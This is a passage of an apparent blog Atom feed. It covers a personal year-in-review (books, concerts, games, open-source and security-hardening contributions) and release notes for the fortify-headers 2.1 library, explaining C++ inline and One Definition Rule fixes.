href=\"https://wh40k.lexicanum.com/wiki/The_Lion:_Son_of_the_Forest_(Novel)\"&gt;The Lion: Son of the Forest&lt;/a&gt;, I've seen Dragon Balls episodes with a quicker pace.&lt;/li&gt;\n&lt;li&gt;Finished the &lt;a href=\"https://wh40k.lexicanum.com/wiki/The_Beast_Arises_(Novel_Series)\"&gt;Beast Arises&lt;/a&gt;\n  dodecalogy. The last chapter of the final book deserved a book on its own,\n  instead of being speedrunned in ~30 pages.&lt;/li&gt;\n&lt;/ul&gt;\n&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://en.wikipedia.org/wiki/It%27s_OK_to_Be_Angry_About_Capitalism\"&gt;It's OK to Be Angry About Capitalism&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://nostarch.com/hacks-leaks-and-revelations\"&gt;Hacks, Leaks, and Revelations&lt;/a&gt;: a &lt;a href=\"https://dustri.org/b/book-review-hacks-leaks-and-revelations.html\"&gt;reference&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://direct.mit.edu/books/book/3008/Beyond-ChoicesThe-Design-of-Ethical-Gameplay\"&gt;Beyond choices: The design of ethical gameplay&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://editions-ixe.fr/catalogue/non-le-masculin-ne-lemporte-pas-sur-le-feminin-ned/\"&gt;Non, le masculin ne l’emporte pas sur le féminin !&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://en.wikipedia.org/wiki/This_Changes_Everything_(book)\"&gt;This Changes Everything: Capitalism vs. the Climate&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://www.goodreads.com/en/book/show/51176626\"&gt;Break 'em Up: Recovering Our Freedom from Big Ag, Big Tech, and Big Money&lt;/a&gt;.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://aosabook.org/en/buy.html\"&gt;The Performance of Open Source Applications&lt;/a&gt;: contains some really nice tidbits.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://aosabook.org/en/\"&gt;The Architecture of Open Source Applications, Part 1.&lt;/a&gt;: computers were a mistake.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://nostarch.com/kill-it-fire\"&gt;Kill It with Fire: Manage Aging Computer Systems (and Future Proof Modern Ones)&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://goodreads.com/book/show/38212110-technically-wrong\"&gt;Technically Wrong: Sexist Apps, Biased Algorithms, and Other Threats of Toxic Tech&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://nostarch.com/locksport\"&gt;Locksport - A Hacker’s Guide to Lockpicking, Impressioning, and Safe Cracking&lt;/a&gt;: &lt;a href=\"https://dustri.org/b/book-review-locksport-a-hackers-guide-to-lockpicking-impressioning-and-safe-cracking.html\"&gt;great&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://freakyclown.com/publications\"&gt;How I Rob Banks (and other such places)&lt;/a&gt;, written in an unbearably cocky style, mildly entertaining.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://samleecole.com\"&gt;How Sex Changed the Internet and the Internet Changed Sex: An Unexpected History&lt;/a&gt;, a bit too shallow for my taste.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://toddrose.com/endofaverage\"&gt;The End of Average&lt;/a&gt;, great book, except the part where the author argues that the goal of schools is to prepare kids for jobs.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://staffeng.com/book\"&gt;Staff Engineer: Leadership beyond the management track&lt;/a&gt;, I'm not there yet, but it helped me understand some coworker's jobs and struggles.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://thirdeditions.com/en/sagas/94-metal-gear-solid-hideo-kojima-s-magnum-opus-9791094723616.html\"&gt;Metal Gear Solid. Hideo Kojima's Magnum Opus&lt;/a&gt;:\n  deluge of superlatives directed at Kojima, speculative opinionated wild rambling, no mention of the &lt;a href=\"https://en.wikipedia.org/wiki/Quiet_(Metal_Gear)\"&gt;rampant&lt;/a&gt;\n  &lt;a href=\"https://theguardian.com/technology/2014/apr/09/metal-gear-solid-ground-zeroes-sexual-violence\"&gt;sexism&lt;/a&gt;,\n  typos and frenchisms, … prefer the &lt;a href=\"https://en.wikipedia.org/wiki/Metal_Gear\"&gt;wikipedia&lt;/a&gt; and &lt;a href=\"https://metalgear.fandom.com/wiki/Metal_Gear_Wiki\"&gt;fandom&lt;/a&gt; pages instead.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://en.wikipedia.org/wiki/The_Mirage_(Ruff_novel)\"&gt;The Mirage&lt;/a&gt;: I\n  was expecting more of a description of an alternative history than a\n  novel with a lame plot and forgettable characters. The humour is goofy\n  and unsubtle: a punk rock group called Green Desert has an anti-war\n  anthem named \"Arabian Idiot\"; a morning talk show called Jazeera &amp;amp;\n  Friends, … but this is completely on par with the post-11-September\n  anti-muslim/Iraqi rhetoric, making it both funny and perfectly adequate.&lt;/li&gt;\n&lt;/ul&gt;\n&lt;/li&gt;\n&lt;li&gt;Moved back to France.&lt;/li&gt;\n&lt;li&gt;Volunteered at a library.&lt;/li&gt;\n&lt;li&gt;Refused to sell &lt;a href=\"https://websec.fr\"&gt;websec.fr&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;Listened to &lt;a href=\"https://listenbrainz.org/user/jvoisin/year-in-music/\"&gt;some music&lt;/a&gt;.&lt;/li&gt;\n&lt;li&gt;Attended some concerts:&lt;ul&gt;\n&lt;li&gt;&lt;a href=\"https://en.wikipedia.org/wiki/Eisbrecher\"&gt;Eisbrecher&lt;/a&gt;, along with &lt;a href=\"https://maerzfeld.de\"&gt;Maerzfeld&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://gojira-music.com\"&gt;Gojira&lt;/a&gt;, along with &lt;a href=\"https://alienweaponry.com\"&gt;Alien Weaponry&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://katatonia.com\"&gt;Katatonia&lt;/a&gt;, along with\n  &lt;a href=\"https://som.band\"&gt;SOM&lt;/a&gt; and &lt;a href=\"https://solstafir.net\"&gt;Sólstafir&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://heavenshallburn.com\"&gt;Heaven Shall Burn&lt;/a&gt;, along with\n  &lt;a href=\"https://trivium.org\"&gt;Trivium&lt;/a&gt;,\n  &lt;a href=\"https://en.wikipedia.org/wiki/Malevolence_(band)\"&gt;Malevolence&lt;/a&gt;, and\n  &lt;a href=\"https://obituary.cc\"&gt;Obituary&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://igorrr.com\"&gt;Igorrr&lt;/a&gt;, along with\n  &lt;a href=\"https://derwegeinerfreiheit.de\"&gt;Der Weg einer Freiheit&lt;/a&gt;,\n  &lt;a href=\"https://en.wikipedia.org/wiki/Amenra\"&gt;Amenra&lt;/a&gt;, and\n  &lt;a href=\"http://hangmanschair.com\"&gt;Hangman's Chain&lt;/a&gt;&lt;/li&gt;\n&lt;/ul&gt;\n&lt;/li&gt;\n&lt;li&gt;Played some video games:&lt;ul&gt;\n&lt;li&gt;On a computer:&lt;ul&gt;\n&lt;li&gt;&lt;a href=\"https://www.doomworld.com/forum/topic/134292-myhousewad/\"&gt;MyHouse.WAD&lt;/a&gt;: &lt;a href=\"https://doomwiki.org/wiki/My_House\"&gt;wow&lt;/a&gt;.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://en.wikipedia.org/wiki/Observer_(video_game)\"&gt;&amp;gt;observer_&lt;/a&gt;: didn't like it.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://en.wikipedia.org/wiki/Sea_of_Thieves\"&gt;Sea of Thieves&lt;/a&gt;, ~ok with friends.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://hyperstrange.com/our-games/blood-west/\"&gt;Blood West&lt;/a&gt;: &lt;a href=\"https://en.wikipedia.org/wiki/Thief_(series)\"&gt;Thief&lt;/a&gt; in the Far West.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://en.wikipedia.org/wiki/Half-Life%3A_Alyx\"&gt;Half Life: Alyx&lt;/a&gt;: impressive in every way.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://en.wikipedia.org/wiki/High_on_Life_(video_game)\"&gt;High on Life&lt;/a&gt;: excruciatingly tedious at best.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://en.wikipedia.org/wiki/Cyberpunk_2077#Cyberpunk_2077:_Phantom_Liberty\"&gt;Cyberpunk 2077: Phantom Liberty&lt;/a&gt;: glorious.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://en.wikipedia.org/wiki/Tom_Clancy's_Rainbow_Six_Siege\"&gt;Rainbow Six: Siege&lt;/a&gt;: better than &lt;a href=\"https://en.wikipedia.org/wiki/Counter-Strike\"&gt;Counter Strike&lt;/a&gt;.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://en.wikipedia.org/wiki/Hogwarts_Legacy\"&gt;Hogwarts Legacy&lt;/a&gt;: breathtaking and well rounded.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://store.steampowered.com/app/2329130/Rewind_Or_Die/\"&gt;Rewind or Die&lt;/a&gt; felt like playing resident evil again &amp;lt;3&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://en.wikipedia.org/wiki/Outer_Wilds\"&gt;Outer Wilds&lt;/a&gt;: the controls were too terrible for me to play.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://en.wikipedia.org/wiki/The_Last_of_Us_Part_I\"&gt;The Last of Us Part 1&lt;/a&gt;: ok-ish, not my jam, Joel is a moron.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://en.wikipedia.org/wiki/The_Witcher_3%3A_Wild_Hunt\"&gt;The Witcher 3 - Wild Hunt&lt;/a&gt;: when did video game get so long…&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://en.wikipedia.org/wiki/Apex_Legends\"&gt;Apex Legends&lt;/a&gt;: a lame version of &lt;a href=\"https://en.wikipedia.org/wiki/Titanfall_2\"&gt;Titanfall 2&lt;/a&gt;, ok-ish when playing ranked.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://en.wikipedia.org/wiki/Warhammer_40,000:_Chaos_Gate_-_Daemonhunters\"&gt;Warhammer 40,000: Chaos Gate - Daemonhunters&lt;/a&gt;:\n  &lt;a href=\"https://en.wikipedia.org/wiki/XCOM\"&gt;XCOM&lt;/a&gt; with &lt;a href=\"https://wh40k.lexicanum.com/wiki/Grey_Knights\"&gt;Grey knights&lt;/a&gt;.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://en.wikipedia.org/wiki/Metal%3A_Hellsinger\"&gt;Metal: Hellsinger&lt;/a&gt;: looked super-lame on gameplay videos, but was surprisingly fun.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://en.wikipedia.org/wiki/Starfield_(video_game)\"&gt;Starfield&lt;/a&gt;: a buggy clunky quickly-boring\n  &lt;a href=\"https://en.wikipedia.org/wiki/The_Elder_Scrolls_V:_Skyrim\"&gt;Skyrim&lt;/a&gt; in space, quickly went back to Cyberpunk 2077.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://store.steampowered.com/app/1172650/INDUSTRIA/\"&gt;Industria&lt;/a&gt;: catastrophic performances for looking utterly terrible, along with a clunky feeling, promptly uninstalled.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://en.wikipedia.org/wiki/Journey_to_the_Savage_Planet\"&gt;Journey to the Savage Planet&lt;/a&gt;: Rich in poop-oriented\n  jokes, trying hard to be funny and maybe even subversive but systematically falling flat.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://en.wikipedia.org/wiki/Baldur%27s_Gate_3\"&gt;Baldur's Gate 3&lt;/a&gt;: not a\n  fan of the &lt;a href=\"https://en.wikipedia.org/wiki/Dungeons_%26_Dragons\"&gt;Dungeons &amp;amp; Dragons&lt;/a&gt; dice-based\n  gameplay, nor of the hard dialog choices cutting entire parts of the game,\n  but still an amazing game.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://en.wikipedia.org/wiki/Metal_Gear_Solid_V:_The_Phantom_Pain\"&gt;Metal Gear Solid V: The Definitive Experience&lt;/a&gt;,\n  so &lt;a href=\"https://en.wikipedia.org/wiki/Metal_Gear_Solid_V:_Ground_Zeroes\"&gt;Metal Gear Solid V: Ground Zeroes&lt;/a&gt; and\n  &lt;a href=\"https://en.wikipedia.org/wiki/Metal_Gear_Solid_V:_The_Phantom_Pain\"&gt;Metal Gear Solid V: The Phantom Pain&lt;/a&gt;.\n  I bought it after having seen the former being run at the &lt;a href=\"https://gamesdonequick.com/tracker/run/5506\"&gt;AGDQ 2023&lt;/a&gt;.\n  Truly amazing game overall, except for the &lt;a href=\"https://en.wikipedia.org/wiki/Metal_Gear_Solid_V:_The_Phantom_Pain#Portrayal_of_Quiet\"&gt;sexualisation of the &lt;em&gt;sole&lt;/em&gt; female character&lt;/a&gt;.&lt;/li&gt;\n&lt;/ul&gt;\n&lt;/li&gt;\n&lt;li&gt;On a (glorious) &lt;a href=\"https://en.wikipedia.org/wiki/Steam_Deck\"&gt;Steam Deck&lt;/a&gt;:&lt;ul&gt;\n&lt;li&gt;&lt;a href=\"https://store.steampowered.com/app/638990/UNDYING/\"&gt;UNDYING&lt;/a&gt;: nice\n  zombie-related game.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://store.steampowered.com/agecheck/app/1593500/\"&gt;God of War&lt;/a&gt;,\n  surprisingly \"wholesome\".&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://blacksaltgames.com/\"&gt;Dredge&lt;/a&gt;, terrific indie game: gorgeous looking, simple yet gripping gameplay, interesting lore and story, …&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://en.wikipedia.org/wiki/Vampyr_(video_game)\"&gt;Vampyr&lt;/a&gt;, because\n  I miss &lt;a href=\"https://en.wikipedia.org/wiki/Vampire:_The_Masquerade_%E2%80%93_Bloodlines\"&gt;Vampire: The Masquerade – Bloodlines&lt;/a&gt;. It could have been so much more instead of being \"meh\".&lt;/li&gt;\n&lt;/ul&gt;\n&lt;/li&gt;\n&lt;/ul&gt;\n&lt;/li&gt;\n&lt;li&gt;Ported &lt;a href=\"https://github.com/jvoisin/snuffleupagus\"&gt;Snuffleupagus&lt;/a&gt; to PHP8.3.&lt;/li&gt;\n&lt;li&gt;Contributed to a couple of software:&lt;ul&gt;\n&lt;li&gt;&lt;a href=\"https://github.com/lite-xl/lite-xl/pulls?q=is%3Apr+author%3Ajvoisin\"&gt;lite-xl&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://alpinelinux.org/\"&gt;Alpine linux&lt;/a&gt;, by:&lt;ul&gt;\n&lt;li&gt;becoming a &lt;a href=\"https://pkgs.alpinelinux.org/packages?branch=edge&amp;amp;repo=&amp;amp;arch=&amp;amp;maintainer=Julien%20Voisin\"&gt;package maintainer&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://gitlab.alpinelinux.org/alpine/tsc/-/issues/64\"&gt;documenting a bit&lt;/a&gt; the compiler-based mitigations,\n  and &lt;a href=\"https://gitlab.alpinelinux.org/alpine/abuild/-/merge_requests/221\"&gt;enabling some missing ones&lt;/a&gt;.&lt;/li&gt;\n&lt;/ul&gt;\n&lt;/li&gt;\n&lt;li&gt;Because of &lt;a href=\"https://runzero.com\"&gt;runZero&lt;/a&gt;, I&lt;ul&gt;\n&lt;li&gt;&lt;a href=\"https://github.com/rapid7/recog/pulls?q=+is%3Apr+author%3Ajvoisin\"&gt;contributed to recog&lt;/a&gt; to improve some of its fingerprints;&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://github.com/Sonarr/Sonarr/issues/5601\"&gt;made it less trivial&lt;/a&gt; to detect Sonarr/Lidarr/Radarr/… versions.&lt;/li&gt;\n&lt;/ul&gt;\n&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://github.com/struct/isoalloc/pulls?q=is%3Apr+author%3Ajvoisin+created%3A2023\"&gt;isoalloc&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://github.com/pygments/pygments/commits?author=jvoisin\"&gt;pygments&lt;/a&gt;, mainly by adding lexers.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://github.com/morpheus65535/bazarr/pull/2304\"&gt;bazaar&lt;/a&gt;, making it work on Alpine Linux.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://github.com/google/oss-fuzz/pulls?q=is%3Apr+author%3Ajvoisin\"&gt;oss-fuzz&lt;/a&gt;,\n  including some &lt;a href=\"https://github.com/guidovranken/python-library-fuzzers/pulls?q=is%3Apr+author%3Ajvoisin\"&gt;python fuzzers&lt;/a&gt;.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://github.com/daanx/mimalloc-bench\"&gt;mimalloc-bench&lt;/a&gt;,\n  resulting in some &lt;a href=\"https://github.com/microsoft/snmalloc/pull/587#issuecomment-1442077886\"&gt;real world improvements&lt;/a&gt;.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://github.com/quodlibet/mutagen/pulls/jvoisin\"&gt;mutagen&lt;/a&gt;, since it's\n  used by &lt;a href=\"https://0xacab.org/jvoisin/mat2\"&gt;mat2&lt;/a&gt;. I even &lt;a href=\"https://github.com/google/oss-fuzz/pull/10072\"&gt;integrated it into\n  OSS-Fuzz&lt;/a&gt;.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://github.com/rapid7/metasploit-framework/pulls?q=is%3Apr+jvoisin\"&gt;metasploit&lt;/a&gt;,\nby doing a lot of code reviews for pull-requests, and landing some modules,\n  like a &lt;a href=\"https://github.com/rapid7/metasploit-framework/pull/17711\"&gt;SPIP RCE&lt;/a&gt;,\n  courtesy of &lt;a href=\"https://thinkloveshare.com/\"&gt;Laluka&lt;/a&gt; and &lt;a href=\"https://twitter.com/coiffeur0x90\"&gt;coiffeur&lt;/a&gt;.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://chrony.tuxfamily.org/\"&gt;chrony&lt;/a&gt;, spending some time debugging\n  &lt;a href=\"https://mail-archive.com/chrony-dev@chrony.tuxfamily.org/msg02572.html\"&gt;how to enable its seccomp sandbox&lt;/a&gt;\n  on Alpine Linux, resulting in a &lt;a href=\"https://gitlab.alpinelinux.org/alpine/aports/-/issues/14891#note_316587\"&gt;couple of improvements&lt;/a&gt;,\n  and of course a &lt;a href=\"https://gitlab.alpinelinux.org/alpine/aports/-/merge_requests/47087\"&gt;now-enabled-by-default sandbox&lt;/a&gt; there.&lt;/li&gt;\n&lt;/ul&gt;\n&lt;/li&gt;\n&lt;li&gt;Got a CVE for a bug I &lt;a href=\"https://github.com/py-pdf/pypdf/security/advisories/GHSA-jrm6-h9cq-8gqw\"&gt;reported&lt;/a&gt; in 2020!&lt;/li&gt;\n&lt;li&gt;Kept maintaining &lt;a href=\"https://openmw.org\"&gt;OpenMW&lt;/a&gt;'s infrastructure.&lt;/li&gt;\n&lt;li&gt;Learnt some &lt;a href=\"https://en.wikipedia.org/wiki/Rust_(programming_language)\"&gt;Rust&lt;/a&gt; so I could hang out with the cool kids.&lt;/li&gt;\n&lt;li&gt;Helped organise the &lt;a href=\"http://g.co/ctf\"&gt;GoogleCTF&lt;/a&gt;, which was &lt;a href=\"https://ctftime.org/event/1929\"&gt;pretty well received&lt;/a&gt;.&lt;/li&gt;\n&lt;li&gt;Added more possible subtitles to this blog, bringing their numbers above 1100.&lt;/li&gt;\n&lt;li&gt;Reduced the size of this website's webpages; most should now be around 10kb.&lt;/li&gt;\n&lt;li&gt;Contributed a bit to Wikipedia, in &lt;a href=\"https://en.wikipedia.org/wiki/Special:Contributions/jvoisin\"&gt;English&lt;/a&gt; and in &lt;a href=\"https://fr.wikipedia.org/wiki/Sp%C3%A9cial:Contributions/jvoisin\"&gt;French&lt;/a&gt;\n  under my usual nickname.&lt;/li&gt;\n&lt;li&gt;Moved my emails away from &lt;a href=\"https://gandi.net\"&gt;Gandi&lt;/a&gt; over to &lt;a href=\"https://migadu.com\"&gt;Migadu&lt;/a&gt;,\n  given their &lt;a href=\"https://chatting.neocities.org/posts/2023-gandi-pricing\"&gt;ludicrous&lt;/a&gt; post-acquisition price increase.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://github.com/jvoisin/compiler-flags-distro\"&gt;Investigated&lt;/a&gt; what\n  hardening-related compiler flags where enabled by default by popular Linux\n  distributions.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://tests.stockfishchess.org/users#jvoisin\"&gt;Contributed a bit&lt;/a&gt; (by crunching numbers) to &lt;a href=\"https://stockfishchess.org/\"&gt;Stockfish&lt;/a&gt;,\n  an open-source chess engine with an &lt;a href=\"https://en.wikipedia.org/wiki/Elo_rating_system\"&gt;Elo rating&lt;/a&gt;\n  around &lt;a href=\"https://computerchess.org.uk/ccrl/4040/rating_list_all.html\"&gt;3500&lt;/a&gt;.&lt;/li&gt;\n&lt;li&gt;Got featured a couple of times on Hackernew/reddit/lobste.rs/… frontpage,\n  thanks to a &lt;s&gt;&lt;a href=\"https://www.reddit.com/r/karma/wiki/index/faq/\"&gt;karma&lt;/a&gt; junkie&lt;/s&gt;\n  marketing-able &lt;a href=\"https://dijit.sh\"&gt;friend&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;Kept maintaining &lt;a href=\"https://nos-oignons.net/\"&gt;Nos Oignons&lt;/a&gt;'s infrastructure with &lt;a href=\"https://corl3ss.com/\"&gt;corl3ss&lt;/a&gt;.\n  We're back at handling &lt;a href=\"https://nos-oignons.net/Services/index.en.html\"&gt;around 2%&lt;/a&gt;\n  of tor's exit traffic! Our little non-profit is now 10 years old.&lt;/li&gt;\n&lt;li&gt;&lt;a href=\"https://github.com/jvoisin/fortify-headers\"&gt;Took over&lt;/a&gt; the development and maintenance of \n  &lt;a href=\"https://u.2f30.org/sin/\"&gt;sin&lt;/a&gt;'s &lt;a href=\"https://git.2f30.org/fortify-headers/\"&gt;fortify-headers&lt;/a&gt;.\n  It's used by &lt;a href=\"https://openwrt.org/\"&gt;OpenWrt&lt;/a&gt;, &lt;a href=\"https://www.alpinelinux.org/\"&gt;Alpine Linux&lt;/a&gt;,\n  and &lt;a href=\"https://bugs.gentoo.org/546692\"&gt;soon&lt;/a&gt; in &lt;a href=\"https://wiki.gentoo.org/wiki/Project:Musl\"&gt;Gentoo Hardened's musl flavour&lt;/a&gt;.&lt;/li&gt;\n&lt;li&gt;Ported my resume/cover letter template from\n  &lt;a href=\"https://latex-project.org\"&gt;LaTeX&lt;/a&gt; to\n  &lt;a href=\"https://typst.app/docs/guides/guide-for-latex-users/\"&gt;typst&lt;/a&gt; and felt so\n  much joy purging away all the LaTeX/TeXLive/XeTeX/LuaTeX/… garbage from my computer,\n  to never have to touch it again.&lt;/li&gt;\n&lt;li&gt;Got a \"Documented Feedback from Employee Relations\" from HR at work for\n  saying \"Awkward to have yet another middle aged rich white het guy come talk\n  about diversity and inclusion.\" on an internal chatroom, about &lt;a href=\"https://booleanblackbelt.com/who-is-the-boolean-black-belt/\"&gt;this middle\n  aged rich white het guy&lt;/a&gt;\n  invited to give an internal talk about diversity and inclusion.&lt;/li&gt;\n&lt;/ul&gt;</content><category term=\"misc\"></category></entry><entry><title>fortify-headers 2.1</title><link href=\"https://dustri.org/b/fortify-headers-21.html\" rel=\"alternate\"></link><published>2023-12-16T20:30:00+01:00</published><updated>2023-12-16T20:30:00+01:00</updated><author><name>jvoisin</name></author><id>tag:dustri.org,2023-12-16:/b/fortify-headers-21.html</id><summary type=\"html\">&lt;p&gt;Only 4 days after the &lt;a href=\"https://dustri.org/b/fortify-headers-20.html\"&gt;release&lt;/a&gt; of\n&lt;a href=\"https://github.com/jvoisin/fortify-headers\"&gt;fortify-headers&lt;/a&gt;,\nhere is the &lt;a href=\"https://github.com/jvoisin/fortify-headers/releases/tag/2.1\"&gt;2.1&lt;/a&gt;,\nfixing a couple of portability issues and tidying a bit the code.\n&lt;a href=\"https://chimera-linux.org/\"&gt;Chimera Linux&lt;/a&gt; users are\n&lt;a href=\"https://github.com/chimera-linux/cports/commit/a26be649d8a13c1012d5e165055d354a6bab1af8\"&gt;as of today&lt;/a&gt;\n&lt;del&gt;test driving&lt;/del&gt; benefiting from it.&lt;/p&gt;\n&lt;h2&gt;Changelog&lt;/h2&gt;\n&lt;ul&gt;\n&lt;li&gt;Remove superfluous includes from the headers&lt;/li&gt;\n&lt;li&gt;Put some functions in to their …&lt;/li&gt;&lt;/ul&gt;</summary><content type=\"html\">&lt;p&gt;Only 4 days after the &lt;a href=\"https://dustri.org/b/fortify-headers-20.html\"&gt;release&lt;/a&gt; of\n&lt;a href=\"https://github.com/jvoisin/fortify-headers\"&gt;fortify-headers&lt;/a&gt;,\nhere is the &lt;a href=\"https://github.com/jvoisin/fortify-headers/releases/tag/2.1\"&gt;2.1&lt;/a&gt;,\nfixing a couple of portability issues and tidying a bit the code.\n&lt;a href=\"https://chimera-linux.org/\"&gt;Chimera Linux&lt;/a&gt; users are\n&lt;a href=\"https://github.com/chimera-linux/cports/commit/a26be649d8a13c1012d5e165055d354a6bab1af8\"&gt;as of today&lt;/a&gt;\n&lt;del&gt;test driving&lt;/del&gt; benefiting from it.&lt;/p&gt;\n&lt;h2&gt;Changelog&lt;/h2&gt;\n&lt;ul&gt;\n&lt;li&gt;Remove superfluous includes from the headers&lt;/li&gt;\n&lt;li&gt;Put some functions in to their proper files&lt;/li&gt;\n&lt;li&gt;Add a missing include in &lt;code&gt;sys/select.h&lt;/code&gt;&lt;/li&gt;\n&lt;li&gt;Do not use static inline for C++ to avoid &lt;a href=\"https://en.wikipedia.org/wiki/One_Definition_Rule\"&gt;ODR&lt;/a&gt;-wise violation&lt;/li&gt;\n&lt;li&gt;Guard some conditional stdio APIs with the right macros&lt;/li&gt;\n&lt;li&gt;Fix a typo that would prevent C++ code from compiling correctly&lt;/li&gt;\n&lt;li&gt;Rename macros to be more namespace-friendly&lt;/li&gt;\n&lt;/ul&gt;\n&lt;h2&gt;Implementation details&lt;/h2&gt;\n&lt;p&gt;Including parts from the\n&lt;a href=\"https://en.wikipedia.org/wiki/Standard_library\"&gt;stdlib&lt;/a&gt; in fortify means that\nprograms that don't correctly include everything they need might compile, even\nthough they shouldn't. Fortunately, the only bits used are either:&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;&lt;code&gt;size_t&lt;/code&gt;, which can be obtained by using &lt;code&gt;typeof(sizeof(char))&lt;/code&gt;,\n  since it's by definition the type returned by &lt;code&gt;sizeof&lt;/code&gt;.&lt;/li&gt;\n&lt;li&gt;constants like &lt;code&gt;PATH_MAX&lt;/code&gt; (that we can define to &lt;code&gt;4096&lt;/code&gt;), &lt;code&gt;MB_LEN_MAX&lt;/code&gt;\n  (defined as 16), ...&lt;/li&gt;\n&lt;li&gt;eldritch constructs like &lt;a href=\"https://www.man7.org/linux/man-pages/man3/MB_CUR_MAX.3.html\"&gt;&lt;code&gt;MB_CUR_MAX&lt;/code&gt;&lt;/a&gt;,\n  whose usage we hide behind an &lt;code&gt;#ifdef&lt;/code&gt;.&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;The other big thing is the one caught by &lt;a href=\"https://github.com/ssbr\"&gt;Devin Jeanpierre&lt;/a&gt;, the usage of &lt;code&gt;static\ninline&lt;/code&gt; while &lt;a href=\"https://en.cppreference.com/w/c/language/inline\"&gt;absolutely alright in C&lt;/a&gt;,\nis problematic in C++, because of the &lt;a href=\"https://en.wikipedia.org/wiki/One_Definition_Rule\"&gt;One Definition Rule&lt;/a&gt;:\nIn C++, if a function is declared inline, it must be declared inline in every translation unit, and also every\ndefinition of an inline function must be exactly the same (while in C they may\nbe different.) On the other hand, C++ allows non-const function-local\nstatics and all function-local statics from different definitions of an inline\nfunction are the same in C++, but distinct in C.\nMore practically, calling &lt;code&gt;FORTIFY_INLINE&lt;/code&gt; functions from an inline function in C++, and including\nthe header defining that inline function in more than one &lt;a href=\"https://en.wikipedia.org/wiki/Translation_unit_%28programming%29\"&gt;translation\nunit&lt;/a&gt; results\nin undefined behaviour. The fix is easy, and was\n&lt;a href=\"https://github.com/jvoisin/fortify-headers/commit/c607773a80e6685ab4c922245c33cf2ea5dcfb72\"&gt;commited&lt;/a&gt;\nby &lt;a href=\"https;//github.com/q66\"&gt;q66&lt;/a&gt;: use &lt;code&gt;static&lt;/code&gt; instead of &lt;code&gt;static inline&lt;/code&gt; in C++.&lt;/p&gt;\n&lt;p&gt;Thanks &lt;a href=\"https://github.com/ssbr\"&gt;Devin Jeanpierre&lt;/a&gt; for spending time to look at\nC++ compatibility, &lt;a href=\"https://github.com/q66\"&gt;q66&lt;/a&gt; for his patches, willingness to ship\nfortify-headers in Chimera, and becoming co-maintainer.&lt;/p&gt;</content><category term=\"security\"></category></entry><entry><title>fortify-headers 2.0</title><link href=\"https://dustri.org/b/fortify-headers-20.html\" rel=\"alternate\"></link><published>2023-12-12T23:30:00+01:00</published><updated>2023-12-12T23:30:00+01:00</updated><author><name>jvoisin</name></author><id>tag:dustri.org,2023-12-12:/b/fortify-headers-20.html</id><summary type=\"html\">&lt;p&gt;8 months ago, I started to contribute to &lt;a href=\"https://git.2f30.org/fortify-headers/\"&gt;fortify-headers&lt;/a&gt;,\na standalone &lt;a 